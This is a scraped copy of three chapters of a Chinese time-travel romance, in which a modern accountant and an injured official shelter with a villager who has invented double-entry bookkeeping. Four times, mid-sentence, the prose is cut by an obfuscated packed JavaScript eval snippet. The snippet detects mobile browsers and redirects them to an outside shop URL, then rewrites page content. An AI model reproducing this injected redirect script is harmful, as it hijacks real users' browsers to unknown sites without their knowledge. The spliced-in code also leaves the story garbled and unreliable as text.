倒不是不爱凑热闹,而是现在已经子时,再香艳的场景也不能平息他被人打扰的怒火,他倒是要看看是谁这么大胆,赶在别人屋前行苟且之事,拿起灯就疾步向声源处走去,势必要给这对狗男女好看。 姜琰见到有人来了,立刻大声呼救道:“救命!救命!有人受伤了!” 沈瑜春低着头拉了拉她的袖子道:“姜姑娘,小点声......” 姜琰却道:“我知道你担心打扰村民睡觉,但是你受伤了,先把人招呼过来才是最重要的,大不了我明天去给他们挨家挨户地道歉!” 沈瑜春红着脸低头,像个刚被娶进家门的小媳妇儿,姜琰见状也有些不好意思了,正巧那人已经提着灯过来,她也停止了呼救。 提灯的村民走过来横道:“半夜不睡觉你们在这儿干什么?光、呃......黑天化......深更半夜的在这儿吵什么?!” 姜琰连忙道:“不好意思哈大哥,我和我朋友坐的商船失火了,我们二人为逃命从船上跳下,他不小心受了伤,您看我们能不能借宿一晚?” 姜琰怕他拒绝,接着提议道:“我有钱!我可以给您钱!” 未料村民嗤之以鼻:“你以为我要钱?你知不知道世上种种都不是钱能解决的?” 姜琰急切询问道:“您要什么?只要能救我的朋友,我干什么都愿意!” 沈瑜春在她背后身子一僵。 村民看了看他们,依然面露不善:“能站起来吗?” 沈瑜春点点头。 村民径直转身道:“你们俩跟我来。” 姜琰伸出手想将他拽起来,沈瑜春摇了摇头,自己强撑着站了起来,一瘸一拐地向前走去,姜琰不知道他怎么了,只能慢慢跟在他的身旁虚扶着他,她悄悄侧头看了一眼他的背后,湿漉漉的衣服贴着他宽阔的肩膀和后背,深红色的衣服掩盖了伤口,只有左肩肩胛处的乌红一片告诉她沈瑜春受伤了,而且伤得不轻。 姜琰心中更愧疚了,她后悔自己为什么这么自私毅然决然地就抛下沈瑜春跳崖跑了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13255010|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更恨自己看不清她的心。 若是有朝一日要报他的挡剑之恩,她一定竭力而为。 劫后余生的心悸还在,二人走路很慢,几乎是步履蹒跚地走到村民家中,男人好像是自己一个人住,因为他推门时很直接,并无任何顾忌,村民将他们安置在一个西边的小屋子里,然后离开了小屋走到主屋,翻箱倒柜了一阵拿出了几瓶东西和一坛酒。 村民走过来对着姜琰砸下来一句话:“你出去等着。” 姜琰一脸懵:“为什么?” 村民疑惑压眉:“我不给他脱光了包扎伤口他怎么好?他要脱衣服你一个女孩子在这儿看什么?” 姜琰穿到这个时代还没有太久,思维还和现代人一样开放,觉得一个男的裸着上半身被人看没什么问题,而且这是疗伤,又不是干别的事情,但古代人的思想不一样,他觉得女孩子不应该这样,流里流气的像什么样子,姜琰不理解但是尊重,而且沈瑜春脸皮薄,她一个劲儿盯着人家看和那些喜欢偷窥美女的猥琐男有什么区别?于是闭嘴转身,干净利落地走出去还礼貌地把门关上了。 沈瑜春看了一眼紧闭的门,又看了一眼村民,抿着嘴颔首:“多谢。” 村民还是不客气地嘲他道:“小伙子,你故意的吧。” 他还没走近就看到男子侧坐在地上歪着头露出肩膀,一般这种场景他只在春|宫|图上看到过。 这什么美人出浴的场景啊? 沈瑜春没说话,村民笑了一下,然后用烛火烤了下针,将他衣服褪下,发现肩胛骨处赫然出现一个血洞。 村民皱着眉没有动作,沈瑜春不知道怎么了,问道:“......怎么了,啊......” 村民往针和他的伤口处喷了口酒道:“有点疼,忍一下。” 沈瑜春咬着牙,额头青筋暴起,细密的汗珠渗出,涔涔下流,但村民伤口缝得非常快,虽然有些疼,但沈瑜春却没疼多久。 在袖子里攥紧的拳头缓缓松开,他吐了口气,村民道:“嗯,好了,只是我在军中学习地缝合之术,虽然手法有些粗暴,但是效果好,也不会轻易留疤,等过几天肉长出来就好了。” 沈瑜春抬眼问道:“军中?阁下是?” 村民摇头,第一次露出谦逊的表情:“称不上阁下,在下乃横野将军麾下屯骑校尉,横野一战后,我因伤病离开军营,现在在城里一位商行的掌柜手下做账房。” 沈瑜春眼里是抑制不住地惊讶,他没想到眼前这人还是有军功在身的,要知道横野大捷后几乎是所有参战地人都被提拔,尤其是当时的横野将军现在的锦衣卫指挥使宋忽平,直接从从三品升为正二品,手下的军官校尉更不用说了,加官的加官,进爵的进爵,哪怕是一个小小行长也能混个都尉当当,这人怎么跑这儿来当账房了? 沈瑜春接着问道:“请问阁下姓名?” 村民粗声答道:“宁泊远。” 非淡泊无以名利,非宁静无以致远,倒是个清淡闲雅的名字,和面前虎头虎脑的糙汉实在扯不上联系。 宁波远看出他的疑惑,解释道:“这是原来三明堂掌柜给我取的名字,但现在三明堂被火烧光,掌柜也生死不明了。” 27.第 27 章 站在门口的姜琰听到这句话破门而入:“谁给你起的名字?” 宁泊远对她如此无礼的行为略有不悦,蹙眉重声说道:“谁准你进来的?” 姜琰忽略掉他的情绪,重复了一边问题:“谁给你取的名字?” 未料宁泊远只是看着凶,见姜琰气势更盛,突然软了下来:“谭微来,原来的三明堂掌柜。” 三明堂主营茶叶,经常将江浙一带的绿茶转销北方和海外,有时也会将极品香茗通过茶官上供皇室,算是江浙一带颇有名望的茶商,但就是这样鼎鼎有名的茶行,竟然一夜之间就殒没了,有人说是同行纵火,有人说是主事看管不力,最蹊跷的是掌柜谭微来生死不明,连个可以去报官的人都没有,这事便不了了之,逐渐成为湖州商行间的谈资。 姜琰记得谭微来还有一个胞弟,也是茶商,莫非他现在在谭微来弟弟手下做事? “请问阁下现在是为谁效力?” 宁泊远见面前女子虽然年龄不大,但眼神坚毅,不像是未经世事的闺阁女子,还以为她是一位女商,警惕道:“姑娘问这作甚?” 姜琰忽地一笑:“只是问问,好奇、好奇而已。” 宁泊远嘴里嘟囔了一句什么,看了看外面,此时还是深夜,他年纪大了难免有些困倦,打了个哈欠道:“我这一晚上被你们折腾得不清,现在他的伤我也缝上了,记得及时换药,我这就回屋,你们也早点睡。” 说完他就转身走了,姜琰和沈瑜春不解地互相看了一眼,一个立刻上前将人拦住,一个欲起身说话,姜琰问道:“您去哪?我们两个人怎么睡啊?” 宁泊远撇嘴道:“关我什么事?” 姜琰道:“可是我是女子?” 宁泊远笑道:“怎么,你怕孤男寡女干柴烈火你们把持不住?” 姜琰:“?” 宁泊远接着笑道:“你放心罢,他都伤成这个样子了,要是对你意图不轨你还是能打过他的。” 姜琰:“不是?我不是这个意思?” 宁泊远见状也不逗她,直接点明道:“你们搞搞清楚,我救你们我还要睡牛棚,我要不收拾收拾离家把房子给你们得了?” 沈瑜春听到“牛棚”两字,脸色不太好看:“牛棚?” 宁泊远不以为意;“不然?我一个人搭个两间屋子的农舍干什么,这屋子是牛棚改的,我又没牛,自然用不上。” 沈瑜春的脸募地黑了下去,虽然他平时并无世家子弟那样高调铺张,但生活条件向来优渥,从来没有狼狈到住牲畜住的地方,脸上有些挂不住,宁泊远见他神色间带着嫌弃,哼了一声,径直回屋,只留下姜琰和沈瑜春面面相觑。 姜琰心想沈瑜春还有伤在身,只好将床边的卷起来的草席展开铺在地上,然后脱鞋躺了上去,沈瑜春看起来还是有些难以接受,但他更不想让姜琰谁在地上,于是站起来走到草席边,也躺了上去。 姜琰直起身子道:“沈大人?” 沈瑜春默默道:“姜姑娘,你睡床吧。” 姜琰怎么敢让他睡地上,万一半夜伤口发炎发烧了他从床上掉下来还能有个响,躺在地上按照沈瑜春这闷葫芦性格死了她都不知道,立刻推脱道:“沈大人你有伤在身,不能睡地上的!” 沈瑜春淡淡道:“可是我也不能让姜姑娘睡在地上......” 姜琰连忙道:“没关系!我体热,睡地上冰冰凉凉的很舒服!” 沈瑜春回过头,看她的表情古怪,一副“我就快信了”的样子,姜琰看他不相信,把手放在他的脸上,就像捧着他的脸一样,软热的触感让他瞳孔一震。 其实姜琰做这个动作之前还是思考了一下的,要证明自己不怕冷,直接让他感受到是最好的,她想了一下放在手上还是放在其他部位——放手上有些暧昧,放别的地方显得她不是好人,放脸上正好,还显得她虔诚,没想到这个动作做出来颇有一种深情的意味,反而弄巧成拙,她也是脸颊一烫,仿佛那手是放在自己脸上一样,沈瑜春嗫嚅着嘴想要说些什么,还未开口她就把手放下来了。 “你看吧,我真的不冷!” “但是你的衣服还湿着......” 姜琰看了看床上,正好有两床被子,于是将其中一床拖到草席上,然后躲进被子里像个被茧丝包裹的蚕虫一样在里面蛄蛹,没一会儿伸出手将外衣源源不断地抛出去,沈瑜春惊呆了:“姜小姐你......?” 姜琰睁大眼睛道:“怎么了?” 沈瑜春咬着嘴唇,不自然地将头偏过去,姜琰好像明白他到底在不好意思什么了,唰一下掀开被子,沈瑜春余光里看见她如此动作吓得直向后退,腿不小心磕在床边差点仰躺在床上:“啊......姜小姐你!” 姜琰:“怎么了?我只脱了外衣啊?” 沈瑜春垂着眼睫不说话,若不是房内昏暗,姜琰肯定能看到平日里云淡风轻的沈侍郎现在从脖子红到耳根的场景,他知道自己拗不过姜琰,只好侧身躺下,姜琰从窗口泻下的几缕月光中依稀看到他宽阔雪白的肩膀,知道沈瑜春不会再说话了,安心地纾了口气,也沉沉睡去。 翌日。 早晨的阳光有些刺眼,姜琰难得没有听见鸡鸣,想来宁泊远也没钱买鸡,自己倒是睡了个懒觉,先是抬手摸了下眼睛,另一只手向外摊开,却摸到了一个坚硬但又软弹的东西,这真的好像...... 她猛地睁开双眼,入眼便是沈瑜春昳丽的容貌和那双如平湖般缄默的淡色眸子。 “我我我我......” 姜琰惊坐起身,想了半天也没想起自己怎么从地上睡到床上的,沈瑜春此时也坐了起来,从另一边下床,来到架子前将外衣拢好,露出一小段修长的脖颈和苍白瘦削的下颌,发丝凌乱的垂下,侧脸道:“无事。” 姜琰:等等,他这副样子好像我真的干了什么一样? 但她也不能大着胆子追问,只好先捏着眉心佯做头疼缓解尴尬,然后伸出脚去找鞋下地。 衣服已经干了,她还是将那一身穿上,想起来今天还有事要干,直接向外走去。 沈瑜春见姜琰一言不发地就要走,连忙叫住她:“姜小姐,等等,你这是要去......” 姜琰“哦”了一声,向他解释道:“我想去宁泊远所在的茶行看看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283711|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,万一人家还缺账房,我也能帮帮咱们的救命恩人不是?” 其实主要是想去看看这个茶行的掌柜是谁,是不是谭微来的胞弟,她到现在还是不相信为什么三明堂会一夜之间消失,姜琰当了财务这么多年,从来没见过任何一笔可以凭空消失的钱,有借必有贷,有进必有出,凡是参与生产经营活动的资金,必然会有可追踪的交易链条。 她猜测要么三明堂的资产已经转移到谭微来弟弟的名下,要么这笔钱就是给别人了。 至于到底给了谁,她只有看过账本才行。 想到这儿,她问系统道:“系统,奖励给我的财务软件我可以用在别的公司上吗?” 好久未见的系统答道:【您只能添加名下公司账户,目前您还没有进入其他公司账务系统的权限哦。】 姜琰:“好吧。” 看来只能自己亲自去查了,没想到沈瑜春一听她要出去,也立刻正好衣襟快速将头冠带好道:“我也去。” 姜琰不想麻烦他:“我一个人去就可以了......” “阿琰”,姜琰还是第一次听沈瑜春这么叫她,“不要抛下我。” 男人还是衣冠楚楚的站在石阶上方,眉骨高挺,双目幽深,不怒自威,就像一株长在悬崖边上的翠竹一般,不折不挠,清正冷峻,然而他说这句话时,那双凌厉的眉眼此刻竟然像泉边的小溪一样柔和动人,暗波涌动下藏着她看不懂的情绪。 她突然觉得那双像蛇一样的金棕浅瞳没那么渗人了。 姜琰没有说话,她不知道怎么接他这句话,但沈瑜春无所谓,将外袍整了整,对她柔声道:“走吧。” 晓夏方觉,树荫蒙络,湖州算得上是江浙一带富庶之地,但当他们二人走在街上,看见不起眼的小商小贩都穿着纨衣,还是觉得这也太夸张了。 姜琰下意识地看了一眼沈瑜春,他也在盯着这些人的衣服看,觉得有些不对劲,恰逢午时,二人肚子也饿了,对视之间心有灵犀地决定先填饱肚子顺便打探消息,于是选了一家最进的酒楼,一进门,掌柜就热情地招呼他们入座。 姜琰看了眼食单,上面菜品贵得离谱,于是将掌柜的招呼过来问道:“店家,你们这菜也太贵了,湖州人都这么有钱的?” 掌柜的一听姜琰是外地的,倒也没有面露鄙夷,反而笑嘻嘻道:“这都要承蒙知州照拂,为我们着想!” 姜琰一听这话里似乎另有玄机,照拂?怎么个照拂法?刚想再问问,却被沈瑜春拦住道:“知州大人确实心善,我们就是特地来此处寻杜知州商议向北方运绢的事情,多亏了他,我和我夫人才能过起锦衣玉食的生活啊。” 掌柜一听这话来了兴致:“莫非你们也......” 二人屏息以待,掌柜正欲开口时,便听楼下有客人喊道:“我点的鱼怎么还没上?掌柜?掌柜呢!” 掌柜楼下客人有些不满,立刻收了食单,边跑边喊道:“来了来了,客官莫急!” 连带着那句没说完的话也掐死在了他的脚步声之中。 姜琰和沈瑜春同频沉默着:...... 到底是谁坏他们好事! 28.第 28 章 沈瑜春拈了块糕点小口品尝了起来,味道还行,但是若是卖五十钱一盘就有点太过奢靡,要知道应天最好的糕点铺子也不敢这么卖东西,将糕点吞下,看着若有所思的姜琰,面无表情地说了句:“难吃。” 姜琰噗嗤一声笑了出来,她越看沈瑜春越觉得可爱。 以前怎么没发现这人这么好玩呢? 菜慢慢上齐,二人简单吃了两口,都觉得无论是样式还是口味均是平平无奇,可这东西卖得这样贵,来酒楼的客人还真不少,再联想到湖州人的穿着打扮,她突然想到了一个词:通货膨胀。 虚假的经济繁荣带来了富足美好的假象,但实际上真的如此吗,湖州真得已经富庶到这个程度了吗? 姜琰一边吃一边打开了系统奖励给她但还未激活的财政系统。 看一下湖州政府的赤字情况以及居民消费价格指数或者货币供应情况。 她将界面调出来,点进入口链接却怎么也进不去,一直在显示没有激活密钥,于是问系统道:“怎么回事?不是奖励吗,我怎么进不去?” 系统道:【不好意思宿主,忘了通知了,激活财政系统需要户部官员官印。】 姜琰突然哽了一下,还未咽下去食物呛进了喉管里;“咳咳咳!!” 什么鬼啊,激活还要她当个官吗?! 她猛烈地用手捶着剧烈起伏的胸腔,沈瑜春见状立刻倒了杯水递给她,眼神关切。 “或许拿到沈瑜春的官印也行?” 姜琰看了一眼沈瑜春,男人眼神还是如往常一样平静,她感觉自己眼角有泪珠泛出,眨了下眼,下一瞬眼前出现了一抹白,一只绣着金竹的丝帕揩去了她眼角的泪花。 姜琰看着竹子有些眼熟,和在李庄时遇见的一样,好奇问道:“大人,这竹纹?” 沈瑜春“啊”了一声道:“这是沈氏一族的族徽。” “怪不得”她想,“那自己在李庄遇见的应该也是沈氏的人,沈家人去青州干什么?” 她想问,但又觉得这是人家家事,自己不好问,于是将诸多疑问憋在心里。 二人用过午饭后,随手向路边的一个商贩问了下路,得知附近比较大的茶行只有立春堂一个,于是二人慢悠悠地闲逛过去,正巧看到偌大的牌匾下往来进出着许多人,这些人和平常商客不同,均是头戴角巾,身着长衫或者马褂,手里提着一个木算盘,神色焦急。 姜琰心想这是遇到什么事了,竟然一个二个忙得要跑起来,溜着墙根寻到一偏僻角落,看见一个较为年轻的账房,突然使了个坏心,悄悄伸脚将此人绊倒。 “哎呦——”一声,尚且稚嫩的账房倒地,怀里的账本也漫天撒着,姜琰眼疾手快地扶住他道:“这位小哥,你没事吧?” 账房不可置信地看了眼地上,光滑的地面连一颗石子都没有,他究竟是怎么摔倒的?刚才他跑得急,只感觉有人绊了自己一脚,此处这有一男一女俩人,若是女人将他绊倒为何还要扶他起来?于是指着沈瑜春的鼻子骂道:“你有病啊!绊我作甚?” 姜琰在他背后冲他挤眉弄眼示意,沈瑜春瞟了一眼,装作没看见,姜琰以为这下完了,没想到沈瑜春气定神闲道:“我乐意。” 账房没想到眼前衣冠楚楚的男人也能说出这种话,指着他的手都颤抖了“你你你你你你”半天也没想到反驳的话,崩溃地跺了下脚然后无奈地去捡地上的东西。 此时姜琰已经蹲在地上看了好久的账本了,账房一把将她手中的账册夺回来:“你在看什么?还给我!” 姜琰装傻道:“我只是看看,这是什么,账本么?” 像姜琰这么大的女子,要么是读过书的官家小姐,要么是大户人家里的嫡女或者打理家务的主母才会看账算账,其他人普通人家的女儿甚至连字都不认得几个,账房一看她穿着朴素,衣裙皱皱巴巴的,嗤笑道:“看不懂还在看?” 姜琰听到嘲讽也不恼,又拿起几本翻了翻,将有用的信息录入到系统中,账房一看她不仅不羞还得寸进尺,更加生气,快速收敛好账本气冲冲地走了。 姜琰翻了一下脑子里的表格,数据还是不完整,无法得出准确的财报信息,正想走到大门处再看看他们招不招账房时,沈瑜春却沉沉看着她道:“姜小姐为何这么想进立春堂?” 姜琰浑身陡然一冷。 和沈瑜春相处这么久,对方表现得太过亲切温柔,让她忘了面前的男人也是在官场摔打下成长的,他就像丛林里最敏锐的野兽,一不小心就会纵身跃起咬断猎物的脖颈。 姜琰半真半假解释道:“实不相瞒,我生母未离世之前,名下也有一茶行,大人可能听过这名字,名叫‘三明堂’。” 沈瑜春点头道:“这我知道,每年茶课司都会征收不少来自三明堂的茶叶,”他顿了顿,“难道姜小姐是怀疑三明堂掌柜没死?” 姜琰认同道:“不错,三明堂怎么说也运营了十几年了,怎么会一夜之间就没了?他们都说是同行纵火和看管不力导致,但是这个说法也太牵强,三明堂屹立不倒十年有余,树大招风,旁人若是想使点手段,为什么不在它展露苗头时就对它进行打压,而且这事一出竟然连官府都不作为.......” 她说出这句话时紧急闭嘴,牙齿差点咬到舌头,心虚地看了一眼沈瑜春,没想到他只是笑笑:“姜小姐说得对,三明堂一事确有蹊跷,那时我还是主事,只听尚书大人说了一句今年征收的茶叶又要变少,后面的事情我也不太清楚了,不过现在想来确实有诸多问题。” 姜琰不忍见他为难道:“沈大人,小人只是说说罢了,其实也不一定是真的,我来立春堂只是听宁泊远说他在这里当账房,又想到宁泊远这人向来重情重义,一般的商行他还真不一定会去,没准这商行就是谭微来弟弟的,所以想打听一点情报而已。” 沈瑜春却浑不在意,话语里尽是轻松:“姜姑娘要做什么便去做就是了,沈某定当伴你左右。” 明明是好听又动人的话,一来一往间姜琰已经满盘皆输,沈瑜春已经知道她要来此处的动机和目的,纵使她话没有说满,但沈瑜春也能顺着蛛丝马迹理清。 她突然有些烦躁。 这种试探带着一丝利用的屈辱,不知为何,她突然不想说话了。 姜琰没有应答,转身走向立春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297359|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂门口。 沈瑜春能感觉到姜琰的不悦,却不知这种情绪从何而来,看着姜琰离开才知道自己又犯病了,觉得这世道大多数是人心披着虎皮,难以捉摸,他竟然下意识地将姜琰当做朝堂间博弈的对手。 他似乎能明白这种对于不真诚的失望和难过,可当他反应过来时姜琰已经走远了。 他追过去时姜琰正在和立春堂管事的讲话,刚想追过去,却感觉身旁墙下闪过一道黑影。 沈瑜春拧紧了眉,低声骂道:“麻烦!”,向姜琰那边看了一眼,对方正和管家聊得火热,暂时顾不得他,于是疾步向那道黑影的方向走去。 “姑娘,这可不行啊,来咱们茶行做事的,都要掌柜亲自选拔!” 姜琰直接回道:“那让掌柜的见我不就行了?我看你们商行的账房进进出出,这是缺人?既然缺人,我为何不能进去?” 管家为难道:“与你说这么多作甚?掌柜的不在,你快走吧!” 姜琰不理,接着问道:“你家掌柜是谁,什么时候回来?” 管家“嘿”了一声,觉得这小女孩也太固执了,怎么说都听不懂他的拒绝,只能不耐烦地摆摆手道:“你回去吧,回去吧,过两天再来看,估计就回来了!” 姜琰绽出一个甜甜的笑容:“谢谢叔!叔你可真是个大善人!” 管家一看这笑一听这话,老脸一红道:“少在这儿攀亲戚,快回去,别耽误我们商行做事!” 姜琰见自己目的达成,哼着小曲儿就走了,回到墙边发现沈瑜春人不知道去哪,嘀咕了一句:“奇怪,人呢?” 找不到人,姜琰也不愿再等,毕竟以沈瑜春的能力他在哪都能找到回来的路,对他的担心明显是多余的,再加上她心里有气,也不想再往这方面想,稍稍在原地站了一会儿后,便打算回到宁泊远家里。 不知为何,她总觉得回去的路有些漫长,好不容易回到农舍,此时已经斜阳跃下,她刚推开栅栏的门,便见沈瑜春风尘仆仆地赶回来,眉眼间带着一丝疲倦。 姜琰没有说话,但也没有立刻进到院子里去,只是和沈瑜春相对而站,半晌,沈瑜春嘴唇微启,刚想说点什么,下一刻,便感觉心口一阵闷痛,一开口,鲜血从口中喷涌而出。 姜琰感觉视线被鲜血染红,她僵木在原地,哪怕魂魄已经想要冲出□□冲到他的面前,但双腿仍然和灌了铅一样沉重,等她清醒过来时自己已经抱住了他。 沈瑜春虚弱得就快要倒下,但感觉胸前一片湿濡,还是缓缓将她揽住,费力地说道:“对不起,我只是......” 我只是习惯了尔虞我诈,习惯了不把人心当成真心,我没有恶意,我只是谨慎地活了太久而已。 姜琰还是没有说话,沈瑜春小心翼翼地问道:“你还生我气吗?” 姜琰在他怀里点了点头:“生气,但我不想让你这样出现在我眼前。” 沈瑜春脸上浮现出丝丝笑意,若是姜琰能抬头看见,便会发现那如平湖般缄默的眼睛现在变成一汪盈盈的春水了。 远处,槐花树下,原本刺向沈瑜春的匕首现在正插在黑衣人微微起伏的胸膛上。 29.第 29 章 姜琰将沈瑜春付进了屋里,沿着床边坐下,不小心触碰到他的手却感觉他的手背上有什么东西凸了出来,掀开袖子一看,他的手背上青筋鼓起,黑色的血液在里面流动。 沈瑜春想要将手从她手中扯出来,被姜琰一把按住:“你到底怎么了?” 沈瑜春眼神闪躲:“没事。” 姜琰不信:“怎么可能没事,你......” 沈瑜春突然使力,将手抽回:“真的没事,别问了。” 姜琰见他不愿提起,只得闭嘴。 她起身从架子上摘下一条毛巾,然后出门从井口舀了一瓢水,回来时微微俯身,细心地为他擦拭着嘴角残余的鲜血,然后当做什么也没发生一样再转身将毛巾洗干净晾上,此时宁泊远也已归家,手里还提着一只鸡。 宁泊远还是没什么好脸色,可能是刚下班回来,这精神状态和姜琰平常回家的时候差不多,向屋里喊了一声;“准备准备等会儿吃饭后”,便快步进了厨房,杀鸡生火一起呵成,锅铲和铁锅哐当哐当深深撞机,姜琰在门口看他锅铲都要抡出火星子,想帮忙的话就在嘴边又生生咽了下去。 宁泊远见她在门口呆若木鸡地站着,头一歪道:“你站那儿干嘛,让他来帮忙啊!” 姜琰:“?我就是来帮忙的。” 宁泊远怀疑地看了她一眼道:“你会做饭?” 姜琰:“......这倒不会。” 社畜哪有时间做饭,都吃外卖的预制菜。 宁泊远表示赞同:“我看你也不像会做饭的,但那个受伤的应该会。” 姜琰转头,看见沈瑜春已经站在她身后,于是眨着眼睛问道:“你会做饭吗?” 沈瑜春一愣,点点头:“会。” “那你去帮他吧......” 沈瑜春不知道在想什么,看着宁泊远手里的锅铲道:“好。” 为了让沈瑜春快点好,宁泊远特地给他熬了口鸡汤滋补一下,沈瑜春小口小口沿着碗边喝汤,就跟初尝鱼味儿的小猫一样。 姜琰见状也馋了,伸手去讨一碗,宁泊远笑她道:“姑娘气壮如牛,还需要滋补?” 姜琰:“你说谁是牛?” 沈瑜春:“你说谁虚?” 吃人嘴短,拿人手短,想到自己还住在人家家里,姜琰只能咬着后槽牙道:“对对对,我身体好,我活得久。” 沈瑜春夹菜的手一顿,宁泊远笑笑没说话。 既然宁泊远负责做饭,那么姜琰和沈瑜春必然要施行“做饭不洗碗,洗碗不做饭”的原则,沈瑜春现在步子还虚浮着,姜琰便主动收起碗筷拿去井边洗了起来,未料倒水时力气太大,飞溅的水花打湿了井边宁泊远的布兜。 “坏了!” 姜琰一看布兜大半边被打湿,布料贴在兜子里的东西上,姜琰一看里面装得好像是纸,赶紧过去把东西拿出来,一看里面装得果然是一大沓宣纸,上面写着密密麻麻的字,宁泊远的字不太规整,不像是从小就开始读书的人写出来的字,姜琰赶紧把它们抖散摊在地上,还好只打湿了边边角角,罩在外面的是白纸。 她按照内容将这些纸按顺序摆在地上,越看越觉得奇怪,上面写着许多经济业务的案例,下面还画了一张表,不过与其说是表,不如说是一张纸中间划了竖道,资金上来下去,比如说一位业主拿出一万两投资某商行,五千两放在钱庄,五千两放在商行,其中上面记录资金来账——“收一万两”,下面记录资金去账方向“付——五千两钱庄”和“付——五千两商行”,保证来去账相等,这基本与复式记账法无异,另外凡现金收付事项,如商品的现买和现卖、各项费用的开支等,只记现金的对方,而现金方面则暂时不记,期末在“日清簿”上采用结现的办法和在“银清簿”上采用“流水结存”法,结算出本期库存现金的余额,参加总簿或结册平账①,另外他还在纸上记录了许多和现代记账方法相似的手段,比如“红冲”和“冲红”,还将资产负债表取名为“彩项结账”,来方分项列示本期发生的全部收益,去方表示分项列示本期发生的各项支出和财产损失,并且计算利润的公式也和现代利润公式基本相同。 姜琰越看越觉得诡异,怎么看都不像是这个时代的人能写出来的东西,这个时代的账房基本上只记录收付账的对方,不记录转账资金的来去账方向,相当单一。 而且她怎么也想不明白“红冲”和“冲红”这种销账方式他是怎么想出来的。 姜琰的脑子在飞速转动,她觉得所有问题的原因只有一个,那就是这人和她一样,也是穿越来的。 她正想着怎么试探宁泊远,没想到宁泊远在远处看她正蹲在地上手里还拿着他写的东西,恼怒地跑过去道:“不许看!” 姜琰转头盯着他,黑瞳幽深,宁泊远忍不住打了个冷颤:“还......还给我。” 姜琰没有动作,朱唇微启道:“会计恒等式是什么?” 宁泊远一愣:“什么玩意儿?” 姜琰循循善诱道:“资产等于......?” 宁泊远疑惑不解地看着她,那种莫名其妙的感觉不像是装的。 姜琰“嘶”了一声,不知道这人为什么还不说实话,只能拿出杀手锏:“学习新思想?” 宁泊远还是不知道她在说什么,更加生气地喊道;“你在说什么!赶紧把东西还回来!” 姜琰仍是不死心:“宫廷玉液酒?” “How are you?” 宁泊远气得胡子都要翘起来,姜琰见他是真的不知道,只好泄气道:“给你吧。” 看来宁泊远真是个算学天才,能领先南胤至少五十年。 姜琰看他一声不吭地把地上的纸捡起,轻轻掸了掸上面的土,觉得他应该是很珍视这些笔记的,于是说道:“其实我不是这个时代的人,我来自另一个时代,我在那个时代也是做着类似账房的工作,每天从我们手上走过的资金最少十几万两,一个账房能同时管理十几个商行,在我们那个时代,账房是不用手工记账的,我们有个工具叫‘系统’,我们只要在相应的单据上输入相应数字,系统会自动生成单据。” 宁泊远早已停下了捡拾的动作,看她的神情复杂。 姜琰扫了他一眼,接着看着地自顾自说道:“你这个记账方式在我们那里叫‘复式记账法’,只不过是用‘借贷’来表示钱的加减,但是不同会计科目借贷的加减情况不同......总得来说要比这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321587|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个地方的记账方式更加完善。” 她用积分从商城兑换了一本《世界上最简单的会计学》,打算给宁泊远,这是姜琰上大学时会计老师推荐的,能最快的理解会计原理和方法。 她从怀里掏出来这本书,宁泊远接过,粗略翻了一下道:“谢谢,对我多有裨益,但是我不懂。” 姜琰:“不懂什么?” 宁泊远道:“既然那个时代这么好,你为什么要来这里?” 姜琰:“我其实也不想来的。” 宁泊远却道:“可是你已经来了。” 姜琰轻轻蹙眉,歪过头想听他接下来说的话:“我不知道你对这个时代的想法,但我却从没觉得这个世道有多不好,或许它确实存在许多不好或者不公的地方,但这个国家生了我养了我,我在这片土地上劳作,在这片土地上实现我的价值,我之所以写下更加方便简明的记账方式,不是因为我觉得现在的记账方式有多不好,而是我觉得它可以更好。” 宁泊远忽然严肃起来:“若是我的后人突然回到百年之前的今天,我不希望她或他对我们这些努力生活的人说:‘我觉得现在这个地方不好,不如我们的好’,姜姑娘,我希望后人不要责怪我们不够厉害,不能一下子跨过百年时间的洪流直接抵达终点,任何时代都有自己的烦恼,所以我们才需要持之以恒的努力改变。” 姜琰神色一滞,宁泊远的话就像洪水一般冲刷着她心中的堤坝,她突然明白自己悬崖下为何放弃求生——因为没有归属感。 